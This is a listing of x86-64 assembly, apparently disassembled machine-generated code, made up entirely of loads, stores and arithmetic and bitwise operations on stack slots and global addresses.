mov rax, qword [rsp + 0xc400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc068]
mov qword [rsp + 0xcb20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb20]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xcb28], rax
mov rax, qword [rsp + 0xbad0]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ac0], eax
mov rax, qword [rsp + 0xc148]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a84], eax
mov rax, qword [rsp + 0xc440]
movzx eax, word [rax]
mov word [rsp + 0x1734], ax
movzx eax, byte [rsp + 0x7d]
mov byte [0x1402c90c2], al
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0d0]
mov word [rcx], ax
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xcb30], rax
mov rax, qword [rsp + 0xbc70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xc5e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xc2c0]
mov eax, dword [rax]
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc240]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1f0], rax
lea rax, [rsp + 0x68d8]
mov qword [rsp + 0xcb38], rax
movzx eax, word [rsp + 0x1618]
mov rcx, qword [rsp + 0xc760]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1708], ax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov rcx, qword [0x1402c9210]
mov byte [rcx], al
lea rax, [rsp + 0x96]
mov qword [rsp + 0xcb40], rax
mov rax, qword [rsp + 0xca70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcb00]
mov word [rcx], ax
lea rax, [rsp + 0x6a7c]
mov qword [rsp + 0xcb48], rax
mov rax, qword [rsp + 0xc858]
mov rcx, qword [rsp + 0xc510]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbf0], rax
lea rax, [rsp + 0x6b44]
mov qword [rsp + 0xcb50], rax
mov rax, qword [rsp + 0xc538]
mov rcx, qword [rsp + 0xc9e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc310]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbfe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa2]
xor eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0xbff0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
shl eax, cl
mov word [0x1402c74f8], ax
movzx eax, word [rsp + 0x1560]
mov word [rsp + 0x1738], ax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc0f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
mov word [rsp + 0x173c], ax
movsx eax, word [0x1402c74e4]
mov rcx, qword [rsp + 0xc440]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x6b24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a80], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
lea rax, [rsp + 0x69a0]
mov qword [rsp + 0xcb60], rax
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74b3], al
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58]
add eax, ecx
mov rcx, qword [rsp + 0xc058]
mov byte [rcx], al
movzx eax, word [rsp + 0x1608]
movzx ecx, word [rsp + 0x158c]
add eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
lea rax, [rsp + 0x1584]
mov qword [rsp + 0xcb68], rax
movzx eax, byte [0x1402c90a5]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc190]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xcb70], rax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc518]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcad0]
mov eax, dword [rax]
mov dword [rsp + 0x6b58], eax
mov rax, qword [rsp + 0xc4a8]
mov ecx, dword [rsp + 0x69d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [0x1402c9228]
sub eax, ecx
mov word [0x1402c74fc], ax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15dc]
add eax, ecx
mov word [rsp + 0x1578], ax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov byte [rsp + 0xce], al
movsx eax, word [rsp + 0x15f4]
movsx ecx, word [rsp + 0x1674]
add eax, ecx
mov word [rsp + 0x15e8], ax
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0xcf], al
mov eax, dword [rsp + 0x6a84]
cdq
mov ecx, 0x2765
idiv ecx
mov dword [rsp + 0x696c], eax
mov rax, qword [rsp + 0xc6a0]
mov rcx, qword [rsp + 0xc390]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5c0], rax
mov rax, qword [rsp + 0xc1c8]
mov rax, qword [rax]
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbe40]
mov qword [rsp + 0xcb80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6988], eax
lea rax, [rsp + 0x56]
mov qword [0x1402c92d0], rax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0xcb88], rax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b4]
xor eax, ecx
mov word [rsp + 0x1638], ax
movzx eax, word [rsp + 0x15ac]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1730], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0xcb90], rax
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x69a4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6af4], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0xca88]
mov rcx, qword [rsp + 0xc0c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbce8], rax
mov eax, dword [rsp + 0x6b24]
mov dword [rsp + 0x6b5c], eax
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1704]
sub eax, ecx
mov word [0x1402c92b0], ax
movsx eax, byte [0x1402c90b6]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0xcd]
movzx ecx, byte [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0xc248]
mov byte [rcx], al
movzx eax, word [0x1402c74b8]
mov word [rsp + 0x1740], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc9e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x6a78]
mov dword [rsp + 0x6b60], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc530], rax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc930], rax
mov eax, dword [rsp + 0x69d8]
mov dword [rsp + 0x6b64], eax
movzx eax, word [rsp + 0x1544]
mov word [0x1402c92d8], ax
movzx eax, byte [0x1402c74bb]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x96]
add eax, ecx
mov byte [rsp + 0xa5], al
movzx eax, word [rsp + 0x1678]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1680], ax
mov rax, qword [rsp + 0xc748]
mov eax, dword [rax]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc360], rax
lea rax, [rsp + 0x69b4]
mov qword [rsp + 0xcba0], rax
mov rax, qword [rsp + 0xc950]
mov rcx, qword [rsp + 0xbd40]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc840]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
cdq
mov ecx, 0xaa2
idiv ecx
mov word [0x1402c90b0], ax
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16a4]
sar eax, cl
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0x51]
mov rcx, qword [0x1402c92d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc918]
mov byte [rcx], al
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
mov word [rsp + 0x1744], ax
mov rax, qword [rsp + 0xbaf8]
mov ecx, dword [rsp + 0x69b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc878]
mov dword [rcx], eax
lea rax, [rsp + 0xc550]
mov qword [rsp + 0xcba8], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc268]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe30], rax
mov rax, qword [0x1402c9200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov word [0x1402c7500], ax
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x1748], ax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [0x1402c90d0]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
movsx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xc578]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x699c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ab8], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
lea rax, [rsp + 0xc0c0]
mov qword [rsp + 0xcbb8], rax
movzx eax, byte [rsp + 0xad]
movzx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0x8b], al
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [rsp + 0x5a]
or eax, ecx
mov rcx, qword [0x1402c9238]
mov byte [rcx], al
movzx eax, word [rsp + 0x1678]
movzx ecx, word [rsp + 0x16d8]
xor eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
lea rax, [0x1402c74e4]
mov qword [rsp + 0xcbc0], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x66]
shl eax, cl
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0xbf18]
mov eax, dword [rax]
mov dword [rsp + 0x6b6c], eax
mov rax, qword [rsp + 0xc160]
mov rcx, qword [rsp + 0xc868]
mov qword [rsp + 0xcbc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc240], rax
mov eax, dword [rsp + 0x6ac0]
mov dword [rsp + 0x6b70], eax
mov rax, qword [rsp + 0xc280]
mov rcx, qword [rsp + 0xc948]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc900], rax
mov rax, qword [0x1402c91c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a4]
add eax, ecx
mov rcx, qword [rsp + 0xc4e8]
mov word [rcx], ax
lea rax, [rsp + 0xab]
mov qword [0x1402c92e0], rax
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov word [rsp + 0x174c], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xc970]
movzx eax, word [rax]
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0xc6a0]
mov rcx, qword [rsp + 0xc360]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbca8]
mov qword [rcx], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x68e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xc738]
mov eax, dword [rax]
mov dword [rsp + 0x6b74], eax
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xbd08]
movzx eax, byte [rax]
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xcd]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov rcx, qword [0x1402c9290]
mov byte [rcx], al
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15ec]
sub eax, ecx
mov rcx, qword [rsp + 0xc8a8]
mov word [rcx], ax
mov rax, qword [0x1402c9198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbc], al
movzx eax, word [rsp + 0x1648]
mov word [rsp + 0x1754], ax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbec0]
mov qword [rcx], rax
lea rax, [rsp + 0x6aac]
mov qword [rsp + 0xcbd0], rax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9c0]
mov qword [rsp + 0xcbd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbe38], rax
mov eax, dword [rsp + 0x69e4]
mov rcx, qword [rsp + 0xc198]
mov qword [rsp + 0xcbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbe0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a18], eax
mov rax, qword [0x1402c9180]
movzx eax, byte [rax]
mov byte [rsp + 0xd4], al
movsx eax, word [rsp + 0x1674]
movsx ecx, word [rsp + 0x16e4]
or eax, ecx
mov word [0x1402c7504], ax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9250]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x167c]
mov qword [rsp + 0xcbe8], rax
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x171c]
imul eax, ecx
mov word [rsp + 0x169c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xc2b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xc678]
mov rcx, qword [rsp + 0xc428]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc8b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6aa0]
mov dword [rsp + 0x6b78], eax
mov rax, qword [rsp + 0xc960]
mov ecx, dword [rsp + 0x6a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69f8], eax
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [rsp + 0xbe]
add eax, ecx
mov rcx, qword [0x1402c9118]
mov byte [rcx], al
lea rax, [rsp + 0x1634]
mov qword [rsp + 0xcbf0], rax
movsx eax, word [0x1402c74d8]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcbe8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b8]
add eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov word [rcx], ax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0xcbf8], rax
mov rax, qword [rsp + 0xc568]
mov rcx, qword [rsp + 0xc980]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc780]
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6990], eax
mov rax, qword [rsp + 0xc598]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69dc], eax
movzx eax, word [rsp + 0x1704]
mov word [0x1402c92e8], ax
movzx eax, word [rsp + 0x1668]
mov word [rsp + 0x1758], ax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
shl eax, cl
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x67]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
xor eax, ecx
mov rcx, qword [rsp + 0xcac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x69f8]
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbde8]
mov qword [rsp + 0xcc10], rax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a0]
mov qword [rsp + 0xcc18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc18]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1618]
or eax, ecx
mov word [0x1402c9278], ax
movsx eax, byte [rsp + 0x89]
mov rcx, qword [0x1402c9288]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0xd6], al
movsx eax, word [rsp + 0x1690]
mov rcx, qword [rsp + 0xc5c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15e8], ax
movzx eax, word [rsp + 0x1610]
movzx ecx, word [0x1402c92b0]
add eax, ecx
mov word [rsp + 0x1730], ax
mov rax, qword [rsp + 0xc6e8]
mov rax, qword [rax]
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xc9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc568]
mov qword [rsp + 0xcc28], rax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a28], eax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [0x1402c74cb], al
mov rax, qword [rsp + 0xbd58]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa0], al
movzx eax, word [rsp + 0x16ec]
mov word [rsp + 0x175c], ax
movsx eax, word [rsp + 0x1684]
movsx ecx, word [rsp + 0x1698]
add eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov word [rcx], ax
lea rax, [0x1402c74e0]
mov qword [rsp + 0xcc30], rax
mov rax, qword [rsp + 0xc8b8]
mov rcx, qword [rsp + 0xc078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc188], rax
lea rax, [rsp + 0x6b24]
mov qword [rsp + 0xcc38], rax
mov rax, qword [rsp + 0xc588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0d0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1402c92b0], ax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
shl eax, cl
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0xc9b0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9218]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc8d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xbfe0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc6a8], rax
lea rax, [rsp + 0x6a98]
mov qword [rsp + 0xcc40], rax
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [rsp + 0x69cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b34], eax
mov rax, qword [rsp + 0xcc00]
mov qword [rsp + 0xcc48], rax
movzx eax, word [rsp + 0x15ac]
movzx ecx, word [rsp + 0x1738]
add eax, ecx
mov word [0x1402c92e8], ax
movsx eax, word [rsp + 0x15c4]
movsx ecx, word [rsp + 0x15cc]
and eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov byte [rcx], al
lea rax, [rsp + 0x16e0]
mov qword [rsp + 0xcc50], rax
movsx eax, word [rsp + 0x1734]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0xc6b0]
mov ecx, dword [rsp + 0x6b30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a50], eax
mov rax, qword [rsp + 0xcb48]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6aac], eax
mov rax, qword [rsp + 0xc278]
mov qword [rsp + 0xcc60], rax
movzx eax, word [rsp + 0x161c]
mov rcx, qword [rsp + 0xc520]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7508], ax
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0xb7], al
lea rax, [rsp + 0x63]
mov qword [rsp + 0xcc68], rax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0xc818]
mov byte [rcx], al
movsx eax, word [rsp + 0x16c8]
movsx ecx, word [rsp + 0x16c0]
add eax, ecx
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0xc390]
mov qword [rsp + 0xcc70], rax
mov rax, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0xc990]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc040]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68fc]
mov dword [rsp + 0x6b80], eax
mov rax, qword [rsp + 0xc148]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc98]
mov qword [rsp + 0xcc78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe70]
movzx eax, byte [rax]
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca90]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c74ce], al
movzx eax, word [rsp + 0x162c]
movzx ecx, word [rsp + 0x1708]
cdq
idiv ecx
mov word [rsp + 0x1634], ax
mov rax, qword [0x1402c91b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbc80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc350]
mov word [rcx], ax
movzx eax, word [rsp + 0x154c]
mov word [rsp + 0x1760], ax
mov eax, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x68d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a7c], eax
lea rax, [rsp + 0xc820]
mov qword [rsp + 0xcc80], rax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbce0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa7]
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74b7], al
movsx eax, word [rsp + 0x1590]
mov rcx, qword [rsp + 0xc578]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc998]
mov word [rcx], ax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov word [rsp + 0x1764], ax
mov rax, qword [rsp + 0xc410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1730], ax
mov rax, qword [rsp + 0xcba8]
mov rcx, qword [rsp + 0xbea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
lea rax, [rsp + 0x6a44]
mov qword [rsp + 0xcc88], rax
mov rax, qword [rsp + 0xcc58]
mov rcx, qword [rsp + 0xc538]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd00], rax
mov eax, dword [rsp + 0x68e4]
mov dword [rsp + 0x6b84], eax
movsx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57], al
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0x5a]
shl eax, cl
mov rcx, qword [0x1402c9118]
mov byte [rcx], al
